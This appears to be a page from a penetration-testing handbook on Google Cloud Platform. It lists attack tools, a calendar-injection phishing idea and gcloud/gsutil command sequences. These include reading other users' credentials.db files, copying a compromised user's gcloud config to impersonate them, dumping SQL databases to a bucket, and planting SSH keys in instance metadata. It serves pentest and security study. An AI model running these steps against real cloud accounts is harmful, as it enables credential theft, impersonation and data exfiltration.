GCP - Pentest Book

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GCP
General
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**Tools**
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# Hayat https://github.com/DenizParlak/hayat
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# GCPBucketBrute https://github.com/RhinoSecurityLabs/GCPBucketBrute
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# GCP IAM https://github.com/marcin-kolda/gcp-iam-collector
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# GCP Firewall Enum: https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum
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​
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Auth methods:
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• Web Access
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• API – OAuth 2.0 protocol
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• Access tokens – short lived access tokens for service accounts
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• JSON Key Files – Long-lived key-pairs
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• Credentials can be federated
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​
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Recon:
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• G-Suite Usage
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   ◇ Try authenticating with a valid company email address at Gmail
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​
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Google Storage Buckets:
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• Google Cloud Platform also has a storage service called “Buckets”
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• Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
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   ◇ Awesome tool for scanning all three cloud services for buckets and more
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      ▪ Enumerates:
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         - GCP open and protected buckets as well as Google App Engine sites
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         - Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
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         - AWS open and protected buckets
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​
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Phising G-Suite:
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• Calendar Event Injection
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• Silently injects events to target calendars
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• No email required
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• Google API allows to mark as accepted
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• Bypasses the “don’t auto-add” setting
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• Creates urgency w/ reminder notification
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• Include link to phishing page
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​
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Steal Access Tokens:
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• Google JSON Tokens and credentials.db
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• JSON tokens typically used for service account access to GCP
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• If a user authenticates with gcloud from an instance their creds get stored here:
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    ~/.config/gcloud/credentials.db
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    sudo find /home -name "credentials.db"
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• JSON can be used to authenticate with gcloud and ScoutSuite
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​
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Post-compromise
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• Cloud Storage, Compute, SQL, Resource manager, IAM
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• ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
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• Tool for auditing multiple different cloud security providers
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• Create Google JSON token to auth as service account
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Enumeration
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# Authentication with gcloud and retrieve info
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gcloud auth login
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gcloud auth activate-service-account --key-file creds.json
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gcloud auth activate-service-account --project=<projectid> --key-file=filename.json
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gcloud auth list
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gcloud init
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gcloud config configurations activate stolenkeys
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gcloud config list
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gcloud organizations list
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gcloud organizations get-iam-policy <org ID>
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gcloud projects get-iam-policy <project ID>
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gcloud iam roles list  --project=<project ID>
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gcloud beta asset search-all-iam-policies --query policy:"projects/xxxxxxxx/roles/CustomRole436" --project=xxxxxxxx
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gcloud projects list
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gcloud config set project <project name>
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gcloud services list
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gcloud projects list
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gcloud config set project [Project-Id]
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gcloud source repos list
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gcloud source repos clone <repo_name>
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​
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# Virtual Machines
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gcloud compute instances list
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gcloud compute instances list --impersonate-service-account AccountName
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gcloud compute instances list --configuration=stolenkeys
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gcloud compute instances describe <instance id>
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gcloud compute instances describe <InstanceName> --zone=ZoneName --format=json | jq -c '.serviceAccounts[].scopes[]'
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gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
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# Puts public ssh key onto metadata service for project
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gcloud compute ssh <local host>
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curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H &#39;Metadata-Flavor:Google’
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# Use Google keyring to decrypt encrypted data
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gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global
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​
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# Storage Buckets
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List Google Storage buckets
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gsutil ls
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gsutil ls -r gs://<bucket name>
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gsutil cat gs://bucket-name/anyobject
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gsutil cp gs://bucketid/item ~/
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​
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# Webapps & SQL
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gcloud app instances list
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gcloud sql instances list
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gcloud spanner instances list
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gcloud bigtable instances list
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gcloud sql databases list --instance <instance ID>
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gcloud spanner databases list --instance <instance name>
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​
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# Export SQL databases and buckets
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# First copy buckets to local directory
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gsutil cp gs://bucket-name/folder/ .
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# Create a new storage bucket, change perms, export SQL DB
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gsutil mb gs://<googlestoragename>
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gsutil acl ch -u <service account> gs://<googlestoragename>
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gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --database=<database name>
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​
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# Networking
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gcloud compute networks list
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gcloud compute networks subnets list
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gcloud compute vpn-tunnels list
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gcloud compute interconnects list
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gcloud compute firewall-rules list
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gcloud compute firewall-rules describe <rulename>
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​
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# Containers
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gcloud container clusters list
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# GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with
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gcloud container clusters get-credentials <cluster name> --region <region>
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kubectl cluster-info
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​
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# Serverless (Lambda functions)
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gcloud functions list
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gcloud functions describe <function name>
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gcloud functions logs read <function name> --limit <number of lines>
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# Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories
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sudo find /home -name "credentials.db
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# Copy gcloud dir to your own home directory to auth as the compromised user
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sudo cp -r /home/username/.config/gcloud ~/.config
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sudo chown -R currentuser:currentuser ~/.config/gcloud
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gcloud auth list
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​
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# Databases
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gcloud sql databases list
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gcloud sql backups list --instance=test
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​
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# Metadata Service URL
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# metadata.google.internal = 169.254.169.254
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curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
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"Metadata-Flavor: Google"
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​
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# Interesting metadata instance urls:
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http://169.254.169.254/computeMetadata/v1/
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http://metadata.google.internal/computeMetadata/v1/
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http://metadata/computeMetadata/v1/
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http://metadata.google.internal/computeMetadata/v1/instance/hostname
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http://metadata.google.internal/computeMetadata/v1/instance/id
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http://metadata.google.internal/computeMetadata/v1/project/project-id
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​
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# Get access scope
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http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
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​
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# Get snapshot from instance and create instance from it
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gcloud compute snapshots list
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gcloud compute instances create instance-2 --source-snapshot=snapshot-1 --zone=us-central1-a
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Attacks
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# Check ssh keys attached to instance
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gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metadata.items[].value'
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# Check for "privilegeduser:ssh-rsa" and generate ssh keys with same username and paste in file
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ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser 
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# Something like:
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privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGrK8V2k0xBeSzN+oUgnRLSIgUED7ayeUJJ10ryEFR0xJbFeGsRAL5LUzw1DTT9gRKmcMTjmZNU3E99bwyytV0fLnGVRIZ63oC8IdTESR0g8EnU6yam/ntq6gZF5QRcES3gaZlnssOQQhw0rvcCB7o5oM1zCDQtgJXAu/2UI6yKf3xdlcHdrULbKTR+0c7r2FWMLgdghGsA+yH3leHJWjDE/WJ1mqf+ZE+RvwLZ8TmVFJmI37xoKEeVnkmOrOe/TMYvtuzSQduHEUhhfjB8YPUYH7dGHyVPlRp/0Hsrjauf5//zNN9dyAZisElgF7CnJmtJVizfDxlXd/nwrVC8nf2xzbi8nc24STfTg3+lR1f73Z5xN9waPl3eHMNy7nXvShxSO01ZwwuyTmjNh83ik1PJjNU= privilegeduser
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privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnLriKvJcwZ2eRUbYpy7ZiZrZub+ZblHgKhATPnRjEXK7Q5U3vOFutCeMavxQ82yIwne6b6LzDAfKeS6wlez1ll2npGhKpb8mAM+ZIKxdTAoAhenOlLlmMyYHhJs/UjkTtj7TZDIEa/uZjZgClK5fmgkYjprsRbPOtAru8fBAOAWfMtrXYFmUJy94iMIvYpRuUPTZ0XUkzmyETNspZOwoOd+K2yTmFor4mWIgTzbaeAtJA+b+nQmXM1Ya1RfalpQsomXnkhqihh/wmqJMDGIJT1YgepMxbj4wy5WyUlE4Ub+/Wh7Lyu51jaRJ++FYh/pgb3m3d8t7B6b2Jj7ldxicQSPu6Mc9TZ5QrPx91dOe/Mzmte2kW7AF8xXo+Se71Ffc5csupUo62uyeXt12F+qNiqHeJXSomxck7rRwonnUhyNJ2icCPogsbDNDjHvdXmGsrXNFU= privilegeduser
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# Upload the file with the 2 keys and access to the instance
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gcloud compute instances add-metadata instance-1 --metadata-from-file ssh-keys=keys.txt --zone us-central1-a
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ssh -i underprivuser [email protected]
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​
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# Re-authentication the account keys
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# Find keys in instance
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cd /home/<username>/.config/gcloud
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cat credentials.db
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# Copy the credentials, make a new json file inside your computer and paste it.
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gcloud auth activate-service-account --key-file <file>.json
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# Now can access API
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Azure
Docker && Kubernetes
Last modified 10mo ago
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Contents
General
Enumeration
Attacks